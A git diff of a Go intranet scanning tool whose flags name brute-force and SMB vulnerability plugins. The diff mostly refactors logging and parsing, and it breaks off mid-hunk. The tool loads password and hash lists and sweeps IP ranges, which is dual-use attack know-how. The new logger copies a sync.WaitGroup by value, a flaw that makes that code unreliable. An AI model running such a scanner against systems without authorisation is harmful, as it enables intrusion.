diff --git a/Common/Config.go b/Common/Config.go index ffbe57d..22a1230 100644 --- a/Common/Config.go +++ b/Common/Config.go @@ -104,7 +104,11 @@ var ( EnableWmi bool // 原IsWmi // 输出配置 - DisableSave bool // 原TmpSave + DisableSave bool // 禁止保存结果 + Silent bool // 静默模式 + NoColor bool // 禁用彩色输出 + JsonFormat bool // JSON格式输出 + LogLevel string // 日志输出级别 ) var ( diff --git a/Common/Flag.go b/Common/Flag.go index be655ce..d413231 100644 --- a/Common/Flag.go +++ b/Common/Flag.go @@ -73,7 +73,7 @@ func Flag(Info *HostInfo) { " 漏洞类: ms17010, smbghost, smb2\n"+ " 其他: findnet, wmiexec, localinfo") flag.BoolVar(&UseSynScan, "sS", false, "使用SYN扫描替代TCP全连接扫描(需要root/管理员权限)") - flag.IntVar(&ThreadNum, "t", 600, "设置扫描线程数") + flag.IntVar(&ThreadNum, "t", 60, "设置扫描线程数") flag.Int64Var(&Timeout, "time", 3, "设置连接超时时间(单位:秒)") flag.IntVar(&LiveTop, "top", 10, "仅显示指定数量的存活主机") flag.BoolVar(&DisablePing, "np", false, "禁用主机存活探测") @@ -126,9 +126,9 @@ func Flag(Info *HostInfo) { flag.StringVar(&Outputfile, "o", "result.txt", "指定结果输出文件名") flag.BoolVar(&DisableSave, "no", false, "禁止保存扫描结果") flag.BoolVar(&Silent, "silent", false, "启用静默扫描模式(减少屏幕输出)") - flag.BoolVar(&Nocolor, "nocolor", false, "禁用彩色输出显示") - flag.BoolVar(&JsonOutput, "json", false, "以JSON格式输出结果") - flag.Int64Var(&WaitTime, "debug", 60, "设置错误日志输出时间间隔(单位:秒)") + flag.BoolVar(&NoColor, "nocolor", false, "禁用彩色输出显示") + flag.BoolVar(&JsonFormat, "json", false, "以JSON格式输出结果") + flag.StringVar(&LogLevel, "log", LogLevelAll, "日志输出级别(ALL/SUCCESS/ERROR/INFO/DEBUG)") flag.Parse() } diff --git a/Common/Log.go b/Common/Log.go index bfa6f96..7c031a8 100644 --- a/Common/Log.go +++ b/Common/Log.go @@ -1,139 +1,250 @@ package Common import ( + "bufio" "encoding/json" "fmt" - "github.com/fatih/color" "io" "log" "os" + "path/filepath" + "runtime" "strings" "sync" "time" + + "github.com/fatih/color" ) -// 记录扫描状态的全局变量 var ( - Num int64 // 总任务数 - End int64 // 已完成数 - Results = make(chan *string) // 结果通道 - LogSucTime int64 // 最近成功日志时间 - LogErrTime int64 // 最近错误日志时间 - WaitTime int64 // 等待时间 - Silent bool // 静默模式 - Nocolor bool // 禁用颜色 - JsonOutput bool // JSON输出 - LogWG sync.WaitGroup // 日志同步等待组 + // 全局变量 + status = &ScanStatus{lastSuccess: time.Now(), lastError: time.Now()} + results = make(chan *LogEntry, 1000) // 使用缓冲通道 + logWG sync.WaitGroup + + // 扫描计数 + Num int64 // 总任务数 + End int64 // 已完成任务数 ) -// JsonText JSON输出的结构体 -type JsonText struct { - Type string `json:"type"` // 消息类型 - Text string `json:"text"` // 消息内容 +// 将 results 改名为 Results 使其可导出 +var ( + Results = results // 使 results 可导出 + LogWG = logWG // 使 logWG 可导出 +) + +// ScanStatus 记录扫描状态 +type ScanStatus struct { + mu sync.RWMutex + total int64 + completed int64 + lastSuccess time.Time + lastError time.Time +} + +// LogEntry 日志条目 +type LogEntry struct { + Level string // "ERROR", "INFO", "SUCCESS", "DEBUG" + Time time.Time + Content string +} + +// LogLevel 定义日志等级常量 +const ( + LogLevelAll = "ALL" // 输出所有日志 + LogLevelError = "ERROR" // 错误日志 + LogLevelInfo = "INFO" // 信息日志 + LogLevelSuccess = "SUCCESS" // 成功日志 + LogLevelDebug = "DEBUG" // 调试日志 +) + +// 定义日志颜色映射 +var logColors = map[string]color.Attribute{ + LogLevelError: color.FgRed, + LogLevelInfo: color.FgYellow, + LogLevelSuccess: color.FgGreen, + LogLevelDebug: color.FgBlue, +} + +// bufferedFileWriter 文件写入器 +type bufferedFileWriter struct { + file *os.File + writer *bufio.Writer + jsonEnc *json.Encoder } -// init 初始化日志配置 func init() { log.SetOutput(io.Discard) - LogSucTime = time.Now().Unix() - go SaveLog() + go processLogs() +} + +// formatLogMessage 格式化日志消息 +func formatLogMessage(entry *LogEntry) string { + timeStr := entry.Time.Format("2006-01-02 15:04:05") + return fmt.Sprintf("[%s] [%s] %s", timeStr, entry.Level, entry.Content) +} + +func printLog(entry *LogEntry) { + // 根据配置的日志级别过滤 + if LogLevel != LogLevelAll && entry.Level != LogLevel { + return + } + + logMsg := formatLogMessage(entry) + if NoColor { + fmt.Println(logMsg) + return + } + + if colorAttr, ok := logColors[entry.Level]; ok { + color.New(colorAttr).Println(logMsg) + } else { + fmt.Println(logMsg) + } +} + +// 同样修改 LogError 和 LogInfo +func LogError(errMsg string) { + // 获取调用者信息 + _, file, line, ok := runtime.Caller(1) + if !ok { + file = "unknown" + line = 0 + } + // 只获取文件名 + file = filepath.Base(file) + + // 格式化错误消息 + errorMsg := fmt.Sprintf("%s:%d - %s", file, line, errMsg) + + select { + case Results <- &LogEntry{ + Level: LogLevelError, + Time: time.Now(), + Content: errorMsg, + }: + logWG.Add(1) + default: + printLog(&LogEntry{ + Level: LogLevelError, + Time: time.Now(), + Content: errorMsg, + }) + } +} + +func LogInfo(msg string) { + select { + case Results <- &LogEntry{ + Level: LogLevelInfo, + Time: time.Now(), + Content: msg, + }: + logWG.Add(1) + default: + printLog(&LogEntry{ + Level: LogLevelInfo, + Time: time.Now(), + Content: msg, + }) + } } // LogSuccess 记录成功信息 func LogSuccess(result string) { - LogWG.Add(1) - LogSucTime = time.Now().Unix() - Results <- &result -} - -// SaveLog 保存日志信息 -func SaveLog() { - for result := range Results { - // 打印日志 - if !Silent { - if Nocolor { - fmt.Println(*result) - } else { - switch { - case strings.HasPrefix(*result, "[+] 信息扫描"): - color.Green(*result) - case strings.HasPrefix(*result, "[+]"): - color.Red(*result) - default: - fmt.Println(*result) - } - } - } - - // 保存到文件 - if IsSave { - WriteFile(*result, Outputfile) - } - LogWG.Done() + // 添加通道关闭检查 + select { + case Results <- &LogEntry{ + Level: LogLevelSuccess, + Time: time.Now(), + Content: result, + }: + logWG.Add(1) + status.mu.Lock() + status.lastSuccess = time.Now() + status.mu.Unlock() + default: + // 如果通道已关闭或已满,直接打印 + printLog(&LogEntry{ + Level: LogLevelSuccess, + Time: time.Now(), + Content: result, + }) } } -// WriteFile 写入文件 -func WriteFile(result string, filename string) { - // 打开文件 - fl, err := os.OpenFile(filename, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0666) +// JsonOutput JSON输出的结构体 +type JsonOutput struct { + Level string `json:"level"` + Timestamp time.Time `json:"timestamp"` + Message string `json:"message"` +} + +// processLogs 处理日志信息 +func processLogs() { + writer := newBufferedFileWriter() + defer writer.close() + + for entry := range results { + if !Silent { + printLog(entry) + } + + if writer != nil { + writer.write(entry) + } + + logWG.Done() + } +} + +func newBufferedFileWriter() *bufferedFileWriter { + if DisableSave { + return nil + } + + file, err := os.OpenFile(Outputfile, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0666) if err != nil { - fmt.Printf("[-] 打开文件失败 %s: %v\n", filename, err) + fmt.Printf("[ERROR] 打开输出文件失败 %s: %v\n", Outputfile, err) + return nil + } + + writer := bufio.NewWriter(file) + return &bufferedFileWriter{ + file: file, + writer: writer, + jsonEnc: json.NewEncoder(writer), + } +} + +func (w *bufferedFileWriter) write(entry *LogEntry) { + if w == nil { return } - defer fl.Close() - if JsonOutput { - // 解析JSON格式 - var scantype, text string - if strings.HasPrefix(result, "[+]") || strings.HasPrefix(result, "[*]") || strings.HasPrefix(result, "[-]") { - index := strings.Index(result[4:], " ") - if index == -1 { - scantype = "msg" - text = result[4:] - } else { - scantype = result[4 : 4+index] - text = result[4+index+1:] - } - } else { - scantype = "msg" - text = result + if JsonFormat { + output := JsonOutput{ + Level: entry.Level, + Timestamp: entry.Time, + Message: entry.Content, } - - // 构造JSON对象 - jsonText := JsonText{ - Type: scantype, - Text: text, + if err := w.jsonEnc.Encode(output); err != nil { + fmt.Printf("[ERROR] JSON编码失败: %v\n", err) } - - // 序列化JSON - jsonData, err := json.Marshal(jsonText) - if err != nil { - fmt.Printf("[-] JSON序列化失败: %v\n", err) - jsonText = JsonText{ - Type: "msg", - Text: result, - } - jsonData, _ = json.Marshal(jsonText) - } - jsonData = append(jsonData, []byte(",\n")...) - _, err = fl.Write(jsonData) } else { - _, err = fl.Write([]byte(result + "\n")) + logMsg := formatLogMessage(entry) + "\n" + if _, err := w.writer.WriteString(logMsg); err != nil { + fmt.Printf("[ERROR] 写入文件失败: %v\n", err) + } } - if err != nil { - fmt.Printf("[-] 写入文件失败 %s: %v\n", filename, err) - } + w.writer.Flush() } -// LogError 记录错误信息 -func LogError(errinfo interface{}) { - if WaitTime == 0 { - fmt.Printf("[*] 已完成 %v/%v %v\n", End, Num, errinfo) - } else if (time.Now().Unix()-LogSucTime) > WaitTime && (time.Now().Unix()-LogErrTime) > WaitTime { - fmt.Printf("[*] 已完成 %v/%v %v\n", End, Num, errinfo) - LogErrTime = time.Now().Unix() +func (w *bufferedFileWriter) close() { + if w != nil { + w.writer.Flush() + w.file.Close() } } diff --git a/Common/Parse.go b/Common/Parse.go index a6a1f6f..14a3b51 100644 --- a/Common/Parse.go +++ b/Common/Parse.go @@ -19,7 +19,7 @@ func Parse(Info *HostInfo) error { return nil } -// ParseUser 解析用户名配置,支持直接指定用户名列表或从文件读取 +// ParseUser 解析用户名配置 func ParseUser() error { // 如果未指定用户名和用户名文件,直接返回 if Username == "" && UsersFile == "" { @@ -31,7 +31,7 @@ func ParseUser() error { // 处理直接指定的用户名列表 if Username != "" { usernames = strings.Split(Username, ",") - fmt.Printf("[*] 已加载直接指定的用户名: %d 个\n", len(usernames)) + LogInfo(fmt.Sprintf("加载用户名: %d 个", len(usernames))) } // 从文件加载用户名列表 @@ -47,12 +47,12 @@ func ParseUser() error { usernames = append(usernames, user) } } - fmt.Printf("[*] 已从文件加载用户名: %d 个\n", len(users)) + LogInfo(fmt.Sprintf("从文件加载用户名: %d 个", len(users))) } // 去重处理 usernames = RemoveDuplicate(usernames) - fmt.Printf("[*] 去重后用户名总数: %d 个\n", len(usernames)) + LogInfo(fmt.Sprintf("用户名总数: %d 个", len(usernames))) // 更新用户字典 for name := range Userdict { @@ -74,7 +74,7 @@ func ParsePass(Info *HostInfo) error { } } Passwords = pwdList - fmt.Printf("[*] 已加载直接指定的密码: %d 个\n", len(pwdList)) + LogInfo(fmt.Sprintf("加载密码: %d 个", len(pwdList))) } // 从文件加载密码列表 @@ -89,7 +89,7 @@ func ParsePass(Info *HostInfo) error { } } Passwords = pwdList - fmt.Printf("[*] 已从文件加载密码: %d 个\n", len(passes)) + LogInfo(fmt.Sprintf("从文件加载密码: %d 个", len(passes))) } // 处理哈希文件 @@ -108,10 +108,10 @@ func ParsePass(Info *HostInfo) error { HashValues = append(HashValues, line) validCount++ } else { - fmt.Printf("[-] 无效的哈希值(长度!=32): %s\n", line) + LogError(fmt.Sprintf("无效的哈希值: %s (长度!=32)", line)) } } - fmt.Printf("[*] 已加载有效哈希值: %d 个\n", validCount) + LogInfo(fmt.Sprintf("加载有效哈希值: %d 个", validCount)) } // 处理直接指定的URL列表 @@ -126,7 +126,7 @@ func ParsePass(Info *HostInfo) error { } } } - fmt.Printf("[*] 已加载直接指定的URL: %d 个\n", len(URLs)) + LogInfo(fmt.Sprintf("加载URL: %d 个", len(URLs))) } // 从文件加载URL列表 @@ -145,7 +145,7 @@ func ParsePass(Info *HostInfo) error { } } } - fmt.Printf("[*] 已从文件加载URL: %d 个\n", len(urls)) + LogInfo(fmt.Sprintf("从文件加载URL: %d 个", len(urls))) } // 从文件加载端口列表 @@ -163,7 +163,7 @@ func ParsePass(Info *HostInfo) error { } } Ports = newport.String() - fmt.Printf("[*] 已从文件加载端口配置\n") + LogInfo("从文件加载端口配置") } return nil @@ -174,7 +174,7 @@ func Readfile(filename string) ([]string, error) { // 打开文件 file, err := os.Open(filename) if err != nil { - fmt.Printf("[-] 打开文件 %s 失败: %v\n", filename, err) + LogError(fmt.Sprintf("打开文件失败 %s: %v", filename, err)) return nil, err } defer file.Close() @@ -195,11 +195,11 @@ func Readfile(filename string) ([]string, error) { // 检查扫描过程中是否有错误 if err := scanner.Err(); err != nil { - fmt.Printf("[- 读取文件 %s 时出错: %v\n", filename, err) + LogError(fmt.Sprintf("读取文件错误 %s: %v", filename, err)) return nil, err } - fmt.Printf("[*] 成功读取文件 %s: %d 行\n", filename, lineCount) + LogInfo(fmt.Sprintf("读取文件成功 %s: %d 行", filename, lineCount)) return content, nil } @@ -207,25 +207,25 @@ func Readfile(filename string) ([]string, error) { func ParseInput(Info *HostInfo) error { // 检查必要的目标参数 if Info.Host == "" && HostsFile == "" && TargetURL == "" && URLsFile == "" { - fmt.Println("[-] 未指定扫描目标") + LogError("未指定扫描目标") flag.Usage() return fmt.Errorf("必须指定扫描目标") } // 如果是本地扫描模式,输出提示 if LocalScan { - fmt.Println("[*] 已启用本地扫描模式") + LogInfo("已启用本地扫描模式") } // 配置基本参数 if BruteThreads <= 0 { BruteThreads = 1 - fmt.Printf("[*] 已将暴力破解线程数设置为: %d\n", BruteThreads) + LogInfo(fmt.Sprintf("暴力破解线程数: %d", BruteThreads)) } if DisableSave { IsSave = false - fmt.Println("[*] 已启用临时保存模式") + LogInfo("已启用临时保存模式") } // 处理端口配置 @@ -239,7 +239,7 @@ func ParseInput(Info *HostInfo) error { } else { Ports += "," + AddPorts } - fmt.Printf("[*] 已添加额外端口: %s\n", AddPorts) + LogInfo(fmt.Sprintf("额外端口: %s", AddPorts)) } // 处理用户名配置 @@ -249,7 +249,7 @@ func ParseInput(Info *HostInfo) error { Userdict[dict] = append(Userdict[dict], users...) Userdict[dict] = RemoveDuplicate(Userdict[dict]) } - fmt.Printf("[*] 已添加额外用户名: %s\n", AddUsers) + LogInfo(fmt.Sprintf("额外用户名: %s", AddUsers)) } // 处理密码配置 @@ -257,7 +257,7 @@ func ParseInput(Info *HostInfo) error { passes := strings.Split(AddPasswords, ",") Passwords = append(Passwords, passes...) Passwords = RemoveDuplicate(Passwords) - fmt.Printf("[*] 已添加额外密码: %s\n", AddPasswords) + LogInfo(fmt.Sprintf("额外密码: %s", AddPasswords)) } // 处理Socks5代理配置 @@ -275,7 +275,7 @@ func ParseInput(Info *HostInfo) error { return fmt.Errorf("Socks5代理格式错误: %v", err) } DisablePing = true - fmt.Printf("[*] 使用Socks5代理: %s\n", Socks5Proxy) + LogInfo(fmt.Sprintf("Socks5代理: %s", Socks5Proxy)) } // 处理HTTP代理配置 @@ -299,7 +299,7 @@ func ParseInput(Info *HostInfo) error { if err != nil { return fmt.Errorf("代理格式错误: %v", err) } - fmt.Printf("[*] 使用代理: %s\n", HttpProxy) + LogInfo(fmt.Sprintf("HTTP代理: %s", HttpProxy)) } // 处理Hash配置 @@ -315,7 +315,7 @@ func ParseInput(Info *HostInfo) error { for _, hash := range HashValues { hashByte, err := hex.DecodeString(hash) if err != nil { - fmt.Printf("[-] Hash解码失败: %s\n", hash) + LogError(fmt.Sprintf("Hash解码失败: %s", hash)) continue } HashBytes = append(HashBytes, hashByte) diff --git a/Common/ParseIP.go b/Common/ParseIP.go index 943201b..f40a23f 100644 --- a/Common/ParseIP.go +++ b/Common/ParseIP.go @@ -23,16 +23,16 @@ var ParseIPErr = errors.New("主机解析错误\n" + "192.168.1.1-192.168.255.255 (IP范围)\n" + "192.168.1.1-255 (最后一位简写范围)") -// ParseIP 解析IP地址配置,支持从主机字符串和文件读取 +// ParseIP 解析IP地址配置 func ParseIP(host string, filename string, nohosts ...string) (hosts []string, err error) { - // 处理主机和端口组合的情况 (192.168.0.0/16:80) + // 处理主机和端口组合的情况 if filename == "" && strings.Contains(host, ":") { hostport := strings.Split(host, ":") if len(hostport) == 2 { host = hostport[0] hosts = ParseIPs(host) Ports = hostport[1] - fmt.Printf("[*] 已解析主机端口组合,端口设置为: %s\n", Ports) + LogInfo(fmt.Sprintf("已解析主机端口组合,端口设置为: %s", Ports)) } } else { // 解析主机地址 @@ -42,10 +42,10 @@ func ParseIP(host string, filename string, nohosts ...string) (hosts []string, e if filename != "" { fileHosts, err := Readipfile(filename) if err != nil { - fmt.Printf("[-] 读取主机文件失败: %v\n", err) + LogError(fmt.Sprintf("读取主机文件失败: %v", err)) } else { hosts = append(hosts, fileHosts...) - fmt.Printf("[*] 已从文件加载额外主机: %d 个\n", len(fileHosts)) + LogInfo(fmt.Sprintf("从文件加载额外主机: %d 个", len(fileHosts))) } } } @@ -72,13 +72,13 @@ func ParseIP(host string, filename string, nohosts ...string) (hosts []string, e } hosts = newHosts sort.Strings(hosts) - fmt.Printf("[*] 已排除指定主机: %d 个\n", len(excludeHosts)) + LogInfo(fmt.Sprintf("已排除指定主机: %d 个", len(excludeHosts))) } } // 去重处理 hosts = RemoveDuplicate(hosts) - fmt.Printf("[*] 最终有效主机数量: %d\n", len(hosts)) + LogInfo(fmt.Sprintf("最终有效主机数量: %d", len(hosts))) // 检查解析结果 if len(hosts) == 0 && len(HostPort) == 0 && (host != "" || filename != "") { @@ -102,40 +102,28 @@ func ParseIPs(ip string) (hosts []string) { return hosts } -// parseIP 解析不同格式的IP地址,返回解析后的IP列表 func parseIP(ip string) []string { reg := regexp.MustCompile(`[a-zA-Z]+`) switch { - // 处理常用内网IP段简写 case ip == "192": return parseIP("192.168.0.0/8") case ip == "172": return parseIP("172.16.0.0/12") case ip == "10": return parseIP("10.0.0.0/8") - - // 处理/8网段 - 仅扫描网关和随机IP以避免过多扫描 case strings.HasSuffix(ip, "/8"): return parseIP8(ip) - - // 处理CIDR格式 (/24 /16 /8等) case strings.Contains(ip, "/"): return parseIP2(ip) - - // 处理域名 - 保留域名格式 case reg.MatchString(ip): return []string{ip} - - // 处理IP范围格式 (192.168.1.1-192.168.1.100) case strings.Contains(ip, "-"): return parseIP1(ip) - - // 处理单个IP地址 default: testIP := net.ParseIP(ip) if testIP == nil { - fmt.Printf("[-] 无效的IP地址格式: %s\n", ip) + LogError(fmt.Sprintf("无效的IP格式: %s", ip)) return nil } return []string{ip} @@ -144,18 +132,15 @@ func parseIP(ip string) []string { // parseIP2 解析CIDR格式的IP地址段 func parseIP2(host string) []string { - // 解析CIDR _, ipNet, err := net.ParseCIDR(host) if err != nil { - fmt.Printf("[-] CIDR格式解析失败: %s, %v\n", host, err) + LogError(fmt.Sprintf("CIDR格式解析失败: %s, %v", host, err)) return nil } - // 转换为IP范围并解析 ipRange := IPRange(ipNet) hosts := parseIP1(ipRange) - - fmt.Printf("[*] 已解析CIDR %s -> IP范围 %s\n", host, ipRange) + LogInfo(fmt.Sprintf("解析CIDR %s -> IP范围 %s", host, ipRange)) return hosts } @@ -169,50 +154,46 @@ func parseIP1(ip string) []string { if len(ipRange[1]) < 4 { endNum, err := strconv.Atoi(ipRange[1]) if testIP == nil || endNum > 255 || err != nil { - fmt.Printf("[-] IP范围格式错误: %s\n", ip) + LogError(fmt.Sprintf("IP范围格式错误: %s", ip)) return nil } - // 解析IP段 splitIP := strings.Split(ipRange[0], ".") startNum, err1 := strconv.Atoi(splitIP[3]) endNum, err2 := strconv.Atoi(ipRange[1]) prefixIP := strings.Join(splitIP[0:3], ".") if startNum > endNum || err1 != nil || err2 != nil { - fmt.Printf("[-] IP范围无效: %d-%d\n", startNum, endNum) + LogError(fmt.Sprintf("IP范围无效: %d-%d", startNum, endNum)) return nil } - // 生成IP列表 for i := startNum; i <= endNum; i++ { allIP = append(allIP, prefixIP+"."+strconv.Itoa(i)) } - fmt.Printf("[*] 已生成IP范围: %s.%d - %s.%d\n", prefixIP, startNum, prefixIP, endNum) + LogInfo(fmt.Sprintf("生成IP范围: %s.%d - %s.%d", prefixIP, startNum, prefixIP, endNum)) } else { - // 处理完整IP范围格式 (192.168.111.1-192.168.112.255) + // 处理完整IP范围格式 splitIP1 := strings.Split(ipRange[0], ".") splitIP2 := strings.Split(ipRange[1], ".") if len(splitIP1) != 4 || len(splitIP2) != 4 { - fmt.Printf("[-] IP格式错误: %s\n", ip) + LogError(fmt.Sprintf("IP格式错误: %s", ip)) return nil } - // 解析起始和结束IP start, end := [4]int{}, [4]int{} for i := 0; i < 4; i++ { ip1, err1 := strconv.Atoi(splitIP1[i]) ip2, err2 := strconv.Atoi(splitIP2[i]) if ip1 > ip2 || err1 != nil || err2 != nil { - fmt.Printf("[-] IP范围无效: %s-%s\n", ipRange[0], ipRange[1]) + LogError(fmt.Sprintf("IP范围无效: %s-%s", ipRange[0], ipRange[1])) return nil } start[i], end[i] = ip1, ip2 } - // 将IP转换为数值并生成范围内的所有IP startNum := start[0]<<24 | start[1]<<16 | start[2]<<8 | start[3] endNum := end[0]<<24 | end[1]<<16 | end[2]<<8 | end[3] @@ -224,7 +205,7 @@ func parseIP1(ip string) []string { allIP = append(allIP, ip) } - fmt.Printf("[*] 已生成IP范围: %s - %s\n", ipRange[0], ipRange[1]) + LogInfo(fmt.Sprintf("生成IP范围: %s - %s", ipRange[0], ipRange[1])) } return allIP @@ -232,36 +213,27 @@ func parseIP1(ip string) []string { // IPRange 计算CIDR的起始IP和结束IP func IPRange(c *net.IPNet) string { - // 获取起始IP start := c.IP.String() - - // 获取子网掩码 mask := c.Mask - - // 计算广播地址(结束IP) bcst := make(net.IP, len(c.IP)) copy(bcst, c.IP) - // 通过位运算计算最大IP地址 for i := 0; i < len(mask); i++ { ipIdx := len(bcst) - i - 1 bcst[ipIdx] = c.IP[ipIdx] | ^mask[len(mask)-i-1] } end := bcst.String() - // 返回"起始IP-结束IP"格式的字符串 result := fmt.Sprintf("%s-%s", start, end) - fmt.Printf("[*] CIDR范围: %s\n", result) - + LogInfo(fmt.Sprintf("CIDR范围: %s", result)) return result } // Readipfile 从文件中按行读取IP地址 func Readipfile(filename string) ([]string, error) { - // 打开文件 file, err := os.Open(filename) if err != nil { - fmt.Printf("[-] 打开文件失败 %s: %v\n", filename, err) + LogError(fmt.Sprintf("打开文件失败 %s: %v", filename, err)) return nil, err } defer file.Close() @@ -270,54 +242,47 @@ func Readipfile(filename string) ([]string, error) { scanner := bufio.NewScanner(file) scanner.Split(bufio.ScanLines) - // 逐行处理IP for scanner.Scan() { line := strings.TrimSpace(scanner.Text()) if line == "" { continue } - // 解析IP:端口格式 text := strings.Split(line, ":") if len(text) == 2 { port := strings.Split(text[1], " ")[0] num, err := strconv.Atoi(port) if err != nil || num < 1 || num > 65535 { - fmt.Printf("[-] 忽略无效端口: %s\n", line) + LogError(fmt.Sprintf("忽略无效端口: %s", line)) continue } - // 解析带端口的IP地址 hosts := ParseIPs(text[0]) for _, host := range hosts { HostPort = append(HostPort, fmt.Sprintf("%s:%s", host, port)) } - fmt.Printf("[*] 已解析IP端口组合: %s\n", line) + LogInfo(fmt.Sprintf("解析IP端口组合: %s", line)) } else { - // 解析纯IP地址 hosts := ParseIPs(line) content = append(content, hosts...) - fmt.Printf("[*] 已解析IP地址: %s\n", line) + LogInfo(fmt.Sprintf("解析IP地址: %s", line)) } } - // 检查扫描过程中是否有错误 if err := scanner.Err(); err != nil { - fmt.Printf("[-] 读取文件时出错: %v\n", err) + LogError(fmt.Sprintf("读取文件错误: %v", err)) return content, err } - fmt.Printf("[*] 从文件加载完成,共解析 %d 个IP地址\n", len(content)) + LogInfo(fmt.Sprintf("从文件解析完成: %d 个IP地址", len(content))) return content, nil } // RemoveDuplicate 对字符串切片进行去重 func RemoveDuplicate(old []string) []string { - // 使用map存储不重复的元素 temp := make(map[string]struct{}) var result []string - // 遍历并去重 for _, item := range old { if _, exists := temp[item]; !exists { temp[item] = struct{}{} @@ -335,7 +300,7 @@ func parseIP8(ip string) []string { testIP := net.ParseIP(realIP) if testIP == nil { - fmt.Printf("[-] 无效的IP地址格式: %s\n", realIP) + LogError(fmt.Sprintf("无效的IP格式: %s", realIP)) return nil } @@ -343,7 +308,7 @@ func parseIP8(ip string) []string { ipRange := strings.Split(ip, ".")[0] var allIP []string - fmt.Printf("[*] 开始解析 %s.0.0.0/8 网段\n", ipRange) + LogInfo(fmt.Sprintf("解析网段: %s.0.0.0/8", ipRange)) // 遍历所有可能的第二、三段 for a := 0; a <= 255; a++ { @@ -364,17 +329,14 @@ func parseIP8(ip string) []string { } } - fmt.Printf("[*] 已生成 %d 个采样IP地址\n", len(allIP)) + LogInfo(fmt.Sprintf("生成采样IP: %d 个", len(allIP))) return allIP } // RandInt 生成指定范围内的随机整数 func RandInt(min, max int) int { - // 参数验证 if min >= max || min == 0 || max == 0 { return max } - - // 生成随机数 return rand.Intn(max-min) + min } diff --git a/Common/ParsePort.go b/Common/ParsePort.go index 770b97b..964f107 100644 --- a/Common/ParsePort.go +++ b/Common/ParsePort.go @@ -42,7 +42,7 @@ func ParsePort(ports string) []int { if strings.Contains(port, "-") { ranges := strings.Split(port, "-") if len(ranges) < 2 { - fmt.Printf("[-] 无效的端口范围格式: %s\n", port) + LogError(fmt.Sprintf("端口范围格式错误: %s", port)) continue } @@ -63,7 +63,7 @@ func ParsePort(ports string) []int { end, _ := strconv.Atoi(upper) for i := start; i <= end; i++ { if i > 65535 || i < 1 { - fmt.Printf("[-] 忽略无效端口: %d\n", i) + LogError(fmt.Sprintf("忽略无效端口: %d", i)) continue } scanPorts = append(scanPorts, i) @@ -74,17 +74,15 @@ func ParsePort(ports string) []int { scanPorts = removeDuplicate(scanPorts) sort.Ints(scanPorts) - fmt.Printf("[*] 共解析 %d 个有效端口\n", len(scanPorts)) + LogInfo(fmt.Sprintf("有效端口数量: %d", len(scanPorts))) return scanPorts } // removeDuplicate 对整数切片进行去重 func removeDuplicate(old []int) []int { - // 使用map存储不重复的元素 temp := make(map[int]struct{}) var result []int - // 遍历并去重 for _, item := range old { if _, exists := temp[item]; !exists { temp[item] = struct{}{} diff --git a/Common/ParseScanMode.go b/Common/ParseScanMode.go index 2868ee5..dae4ada 100644 --- a/Common/ParseScanMode.go +++ b/Common/ParseScanMode.go @@ -48,7 +48,7 @@ var pluginGroups = map[string][]string{ // ParseScanMode 解析扫描模式 func ParseScanMode(mode string) { - fmt.Printf("[*] 解析扫描模式: %s\n", mode) + LogInfo(fmt.Sprintf("解析扫描模式: %s", mode)) // 检查是否是预设模式 presetModes := []string{ @@ -60,9 +60,9 @@ func ParseScanMode(mode string) { if mode == presetMode { ScanMode = mode if plugins := GetPluginsForMode(mode); plugins != nil { - fmt.Printf("[+] 使用预设模式: %s, 包含插件: %v\n", mode, plugins) + LogInfo(fmt.Sprintf("使用预设模式: %s, 包含插件: %v", mode, plugins)) } else { - fmt.Printf("[+] 使用预设模式: %s\n", mode) + LogInfo(fmt.Sprintf("使用预设模式: %s", mode)) } return } @@ -71,14 +71,14 @@ func ParseScanMode(mode string) { // 检查是否是有效的插件名 if _, exists := PluginManager[mode]; exists { ScanMode = mode - fmt.Printf("[+] 使用单个插件: %s\n", mode) + LogInfo(fmt.Sprintf("使用单个插件: %s", mode)) return } // 默认使用All模式 ScanMode = ModeAll - fmt.Printf("[*] 未识别的模式,使用默认模式: %s\n", ModeAll) - fmt.Printf("[+] 包含插件: %v\n", pluginGroups[ModeAll]) + LogInfo(fmt.Sprintf("未识别的模式,使用默认模式: %s", ModeAll)) + LogInfo(fmt.Sprintf("包含插件: %v", pluginGroups[ModeAll])) } // GetPluginsForMode 获取指定模式下的插件列表 diff --git a/Core/ICMP.go b/Core/ICMP.go index 26bb546..53760a2 100644 --- a/Core/ICMP.go +++ b/Core/ICMP.go @@ -75,7 +75,7 @@ func probeWithICMP(hostslist []string, chanHosts chan string) { return } - Common.LogError(err) + Common.LogError(fmt.Sprintf("ICMP监听失败: %v", err)) fmt.Println("[-] 正在尝试无监听ICMP探测...") // 尝试无监听ICMP探测 @@ -86,7 +86,7 @@ func probeWithICMP(hostslist []string, chanHosts chan string) { return } - Common.LogError(err) + Common.LogError(fmt.Sprintf("ICMP连接失败: %v", err)) fmt.Println("[-] 当前用户权限不足,无法发送ICMP包") fmt.Println("[*] 切换为PING方式探测...") @@ -266,7 +266,7 @@ func ExecCommandPing(ip string) bool { return false } } - + var command *exec.Cmd // 根据操作系统选择不同的ping命令 switch runtime.GOOS { diff --git a/Core/PortScan.go b/Core/PortScan.go index f478556..c7cdf2a 100644 --- a/Core/PortScan.go +++ b/Core/PortScan.go @@ -3,13 +3,11 @@ package Core import ( "encoding/binary" "fmt" - "github.com/Ullaakut/nmap" "github.com/google/gopacket" "github.com/google/gopacket/layers" "github.com/google/gopacket/pcap" "github.com/shadow1ng/fscan/Common" "golang.org/x/net/ipv4" - "log" "net" "runtime" "sort" @@ -25,12 +23,12 @@ type Addr struct { func PortScan(hostslist []string, ports string, timeout int64) []string { var AliveAddress []string - var mu sync.Mutex // 添加互斥锁保护 AliveAddress + var mu sync.Mutex // 解析端口列表 probePorts := Common.ParsePort(ports) if len(probePorts) == 0 { - fmt.Printf("[-] 端口格式错误: %s, 请检查端口格式\n", ports) + Common.LogError(fmt.Sprintf("端口格式错误: %s", ports)) return AliveAddress } @@ -75,12 +73,11 @@ func PortScan(hostslist []string, ports string, timeout int64) []string { } } - // 按顺序关闭并等待 close(addrs) - workerWg.Wait() // 等待所有扫描worker完成 - wg.Wait() // 等待所有扫描任务完成 - close(results) // 关闭结果通道 - resultWg.Wait() // 等待结果处理完成 + workerWg.Wait() + wg.Wait() + close(results) + resultWg.Wait() return AliveAddress } @@ -111,10 +108,7 @@ func PortConnect(addr Addr, respondingHosts chan<- string, timeout int64, wg *sy // 记录开放端口 address := fmt.Sprintf("%s:%d", addr.ip, addr.port) - protocol := "TCP" - result := fmt.Sprintf("[+] %s端口开放 %s", protocol, address) - 